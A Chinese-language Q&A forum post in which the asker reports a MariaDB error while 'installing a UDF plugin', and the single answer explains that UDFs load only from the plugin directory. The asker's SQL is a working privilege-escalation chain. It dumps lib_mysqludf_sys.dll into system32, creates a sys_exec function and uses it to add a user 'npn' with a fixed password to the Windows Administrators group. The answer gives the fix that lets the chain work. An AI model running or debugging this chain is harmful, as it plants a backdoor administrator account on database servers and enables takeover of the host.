我想在MySQL安装UDF插件，但收到错误

Question

我想在MySQL安装UDF插件，但此查询

MariaDB [mysql]> CREATE FUNCTION sys_exec 
    RETURNS integer SONAME 'lib_mysqludf_s ys_32.dll'; 
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys_32.dll' (errno: 0,) 

得到错误（从评论:)

USE mysql; 
CREATE TABLE npn(line blob); 
INSERT INTO npn values(load_file('C://xampplite//htdocs//mail//lib_mysqludf_‌​sys.dll')); 
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll'; 
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; 
SELECT sys_exec("net user npn npn12345678 /add"); 
SELECT sys_exec("net localgroup Administrators npn /add"); 

Answer 1

UDF不从C：\ windows \ system32加载，只能从插件目录加载。使用“SELECT @@ plugin_dir”检查它在安装中的位置。